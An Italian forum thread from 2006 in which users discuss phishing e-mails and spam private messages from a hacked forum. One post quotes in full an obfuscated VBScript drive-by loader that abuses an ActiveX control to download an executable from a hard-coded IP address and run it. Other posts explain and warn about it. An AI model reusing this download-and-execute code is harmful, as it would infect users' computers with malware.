OT forum e-mail truffa?

[bhop]

ciao a tutti scrivo qui non so se la sezione è quella giusta.
Ho ricevuto una e-mail con scritto
forum OT di iksent ==
www.akropolix.net/forum
== community Iknset
che mi comunica che ho ricevuto un msg privato
che mi fa collegare ad una pagina di un forum
e mi richiede la paswwd per collegarmi.
ovviamente poi anche inserendo la paswd non si collega
a nulla. Non ricordando di essermi mai iscritto
a questo forum ho poi verificato nel testo del
msg uno pseudo riferimento ad Iksnet : iksent ed Iknset.
Vogliono frodarmi la pswd di Iksnet ? bhoo ?
io l'ho cmq cambiata, qualcun altro ne ha ricevute?

[Danyblu]

ciao a tutti scrivo qui non so se la sezione è quella giusta.
Ho ricevuto una e-mail con scritto
forum OT di iksent ==
www.akropolix.net/forum
== community Iknset
che mi comunica che ho ricevuto un msg privato
che mi fa collegare ad una pagina di un forum
e mi richiede la paswwd per collegarmi.
ovviamente poi anche inserendo la paswd non si collega
a nulla. Non ricordando di essermi mai iscritto
a questo forum ho poi verificato nel testo del
msg uno pseudo riferimento ad Iksnet : iksent ed Iknset.
Vogliono frodarmi la pswd di Iksnet ? bhoo ?
io l'ho cmq cambiata, qualcun altro ne ha ricevute?

Quoto! Anchio lìho ricevuta

[afxgroup]

volete vedere il bello script che arriva??

[SCRIPT language="VBScript"]
If navigator.appName="Microsoft Internet Explorer" Then
If InStr(navigator.platform,"Win32") <> 0 Then

Dim Obj_Name
Dim Obj_Prog

set obj_RDS = document.createElement("object")
obj_RDS.setAttribute "id", "obj_RDS"
obj_RDS.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

fn = "226184122185.exe"
Obj_Name = "S" & "h" & "e" & "l" & "l"
Obj_Prog = "A" & "p" & "pl" & "i" & "ca" & "ti" & "on"
set obj_ShellApp = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
Set oFolder = obj_ShellApp.NameSpace(20)
Set oFolderItem=oFolder.ParseName("Symbol.ttf")
Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
WinDir= Font_Path_Components(0) & "\" & Font_Path_Components(1) & "\"
fn=WinDir & fn

Obj_Name = "Mi" & "cr" & "osoft"
Obj_Prog = "X" & "M" & "LHTT" & "P"
set obj_msxml2 = CreateObject(Obj_Name & "." & Obj_Prog)
obj_msxml2.open "G" & "E" & "T","http://195.225.176.34/user2/bond0167/service32.exe",False
obj_msxml2.send
On Error Resume Next

Obj_Name = "AD" & "ODB"
Obj_Prog = "St" & "rea" & "m"
set obj_adodb = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
If Err.Number Then

Obj_Name = "S" & "c" & "ript" & "ing"
Obj_Prog = "F" & "i" & "leSy" & "ste" & "mO" & "bject"
Set obj_FileSys=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
Set download_file=obj_FileSys.CreateTextFile(fn, TRUE)
download_file_size=LenB(XMLBody)
For i=1 To download_file_size
cByte=MidB(XMLBody,i,1)
ByteCode=AscB(cByte)
download_file.Write(Chr(ByteCode))
Next
download_file.Close

Obj_Name = "W" & "Sc" & "r" & "ipt"
Obj_Prog = "Sh" & "e" & "l" & "l"
Set obj_WShell=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
On Error Resume Next
obj_WShell.Run fn,1,FALSE
Else
obj_adodb.Type=1
obj_adodb.Open
obj_adodb.Write(obj_msxml2.responseBody)
obj_adodb.SaveToFile fn,2
obj_ShellApp.ShellExecute fn
End If

End If
End If

[/script]

[bhop]

si ma traduci in maniera "potabile"
10x

[AMIGATV]

Anche a me

[afxgroup]

c'è una pagina javascript che ha dei caratteri codificati e che crea al volo quel codice.

Quel codice non fa altro che scaricare ed eseguire un programma sul vostro PC.

La cosa bella è naturalmente il primo IF............... La dice lunga......

W Firefoz!

[Raffaele]

Vi dirò... E' una settimana che non mi collego causa salute dei miei gatti...

Proprio oggi mi vado a leggere la posta yahoo e trovo una notifica di Private Mail che mi arriva da Webisland.net

(mi ci ero registrato per pubblicizzare Pianeta Amiga)

Vado a leggere, e cosa scopro che mi è arrivato come PRIVATE MAIL?

Da: Zothunaja
A: Raffaele_Megabyte
Inviato: Gio Ott 12, 2006 3:31 am
Oggetto: Alcuni pensano voi
Ciao
questo URL circa voi http://people1000.com/?Raffaele_Megabyte

Già dall'italiano stentato si capisce TUTTO su cosa mi vogliono mandare, e comunque stanno freschi. Col cavolo che apro il link... Ma per chi mi hanno preso?

E comunque ancora di più mi da assaissimo fastidio (notare il superlativo) che qualcuno si connetta ad un forum per diffondere spam in PM fra gli utenti registrati...

[amiga-user]

e poi usando FireFox o un qualunque browse Amiga questi prob non ci sono..
Quelli che usano OS4 e MOS sono i più fortunati dato che loro di questi problemi non ne hanno
Magari fossimo tutti fortunati come loro

[ikir]

Akropolix sono le ex Discussioni Generali di iksnet.it. Il forum di akropolix sembra stato colpito da qualche spam bot per phpbb. Quando ci sono problemi con Akropolix, contattate riko o RadomE.

[PaoloBrini]

Akropolix sono le ex Discussioni Generali di iksnet.it. Il forum di akropolix sembra stato colpito da qualche spam bot per phpbb. Quando ci sono problemi con Akropolix, contattate riko o RadomE.

Buongiorno Ikir,

segnalo che mi è successa la stessa cosa non solo con Akropolix, ma anche con altri forum su cui avevo un vecchissimo account che neanche ricordavo più (per esempio thefirstplace.it). Quindi sembra un "attacco" (se vogliamo così definirlo) su vasta scala.

Ciao!

Paolo

[Flipper]

Ikir, poco fa ti ho mandato un pvt per chiederti del messaggio privato su Akropolix, poi ho visto questo topic.

Connettendomi con Akropolix, per verificare, non ho trovato il testo del pvt e l'url incriminato. Per sicurezza avevo Firefox con Nosript attivato......
Non ho capito però se l'url è visibile tramite notifica per mail (visto che non l'ho aperta) o solo tramite pvt. A me sono arrivate due notifiche, una oggi ed una due giorni fa.

Quella pagina dovrebbe condurvi ad un bel trojan (letto da altri forum), meglio non aprirla.

Ciao.

[Classic Amiga Man]

...un vecchissimo account che neanche ricordavo più (per esempio thefirstplace.it). Quindi sembra un "attacco" (se vogliamo così definirlo) su vasta scala.

Ciao!

Paolo

Wow,sei stato un TFPer?Anche a me sono arrivati,ma non da TFP,ma da Akropolix,ma avendo Safari sto blindato .

[riko]

Confermo. Siamo stati attaccati (come moltissimi altri). Al momento Radome dovrebbe avere messo a posto il problema e colto l'occasione per cancellare un sacco di utenti che non avevano mai partecipato ad Akropolix.

Per facilitare la migrazione degli utenti in seguito alla cancellazione delle sezioni off-topic di Iksnet, a suo tempo, era stato semplicemente esportato il db dello stesso.